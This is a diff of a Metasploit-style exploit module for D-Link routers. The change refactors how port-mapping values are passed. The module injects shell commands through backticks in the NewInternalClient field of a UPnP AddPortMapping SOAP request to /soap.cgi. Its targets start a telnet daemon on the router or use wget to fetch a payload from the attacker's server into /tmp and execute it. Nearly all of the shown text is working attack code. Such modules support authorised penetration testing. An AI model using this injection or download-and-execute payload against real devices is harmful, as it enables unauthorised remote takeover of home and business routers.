@@ -85,51 +85,51 @@ def initialize(info = {})
85
85
end
86
86
87
87
def exploit
88
- new_portmapping_description = rand_text_alpha ( 8 )
89
- new_external_port = rand ( 65535 )
90
- new_internal_port = rand ( 65535 )
88
+ @new_portmapping_descr = rand_text_alpha ( 8 )
89
+ @ new_external_port = rand ( 65535 )
90
+ @ new_internal_port = rand ( 65535 )
91
91
92
92
if target . name =~ /CMD/
93
- exploit_cmd ( new_external_port , new_internal_port , new_portmapping_description )
93
+ exploit_cmd
94
94
elsif target . name =~ /Telnet/
95
- exploit_telnet ( new_external_port , new_internal_port , new_portmapping_description )
95
+ exploit_telnet
96
96
else
97
- exploit_mips ( new_external_port , new_internal_port , new_portmapping_description )
97
+ exploit_mips
98
98
end
99
99
end
100
100
101
- def exploit_cmd ( new_external_port , new_internal_port , new_portmapping_description )
101
+ def exploit_cmd
102
102
if not ( datastore [ 'CMD' ] )
103
103
fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
104
104
end
105
105
cmd = payload . encoded
106
106
type = "add"
107
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
107
+ res = request ( cmd , type )
108
108
if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
109
109
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
110
110
end
111
111
print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state" )
112
112
type = "delete"
113
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
113
+ res = request ( cmd , type )
114
114
if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
115
115
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
116
116
end
117
117
return
118
118
end
119
119
120
- def exploit_telnet ( new_external_port , new_internal_port , new_portmapping_description )
120
+ def exploit_telnet
121
121
telnetport = rand ( 65535 )
122
122
123
123
vprint_status ( "#{ rhost } :#{ rport } - Telnetport: #{ telnetport } " )
124
124
125
125
cmd = "telnetd -p #{ telnetport } "
126
126
type = "add"
127
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
127
+ res = request ( cmd , type )
128
128
if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
129
129
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
130
130
end
131
131
type = "delete"
132
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
132
+ res = request ( cmd , type )
133
133
if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
134
134
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
135
135
end
@@ -168,7 +168,7 @@ def exploit_telnet(new_external_port, new_internal_port, new_portmapping_descrip
168
168
return
169
169
end
170
170
171
- def exploit_mips ( new_external_port , new_internal_port , new_portmapping_description )
171
+ def exploit_mips
172
172
173
173
downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
174
174
@@ -220,7 +220,7 @@ def exploit_mips(new_external_port, new_internal_port, new_portmapping_descripti
220
220
221
221
cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } ; chmod 777 /tmp/#{ filename } ; /tmp/#{ filename } "
222
222
type = "add"
223
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
223
+ res = request ( cmd , type )
224
224
if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
225
225
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
226
226
end
@@ -236,13 +236,13 @@ def exploit_mips(new_external_port, new_internal_port, new_portmapping_descripti
236
236
register_file_for_cleanup ( "/tmp/#{ filename } " )
237
237
238
238
type = "delete"
239
- res = request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
239
+ res = request ( cmd , type )
240
240
if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
241
241
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
242
242
end
243
243
end
244
244
245
- def request ( cmd , type , new_external_port , new_internal_port , new_portmapping_description )
245
+ def request ( cmd , type )
246
246
247
247
uri = '/soap.cgi'
248
248
@@ -256,22 +256,22 @@ def request(cmd, type, new_external_port, new_internal_port, new_portmapping_des
256
256
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
257
257
258
258
data_cmd << "<m:AddPortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
259
- data_cmd << "<NewPortMappingDescription>#{ new_portmapping_description } </NewPortMappingDescription>"
259
+ data_cmd << "<NewPortMappingDescription>#{ @new_portmapping_descr } </NewPortMappingDescription>"
260
260
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
261
261
data_cmd << "<NewInternalClient>`#{ cmd } `</NewInternalClient>"
262
262
data_cmd << "<NewEnabled>1</NewEnabled>"
263
- data_cmd << "<NewExternalPort>#{ new_external_port } </NewExternalPort>"
263
+ data_cmd << "<NewExternalPort>#{ @ new_external_port} </NewExternalPort>"
264
264
data_cmd << "<NewRemoteHost></NewRemoteHost>"
265
265
data_cmd << "<NewProtocol>TCP</NewProtocol>"
266
- data_cmd << "<NewInternalPort>#{ new_internal_port } </NewInternalPort>"
266
+ data_cmd << "<NewInternalPort>#{ @ new_internal_port} </NewInternalPort>"
267
267
data_cmd << "</m:AddPortMapping>"
268
268
else
269
269
#we should clean it up ... otherwise we are not able to exploit it multiple times
270
270
vprint_status ( "#{ rhost } :#{ rport } - deleting portmapping" )
271
271
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
272
272
273
273
data_cmd << "<m:DeletePortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
274
- data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{ new_external_port } </NewExternalPort><NewRemoteHost></NewRemoteHost>"
274
+ data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{ @ new_external_port} </NewExternalPort><NewRemoteHost></NewRemoteHost>"
275
275
data_cmd << "</m:DeletePortMapping>"
276
276
end
277
277
0 commit comments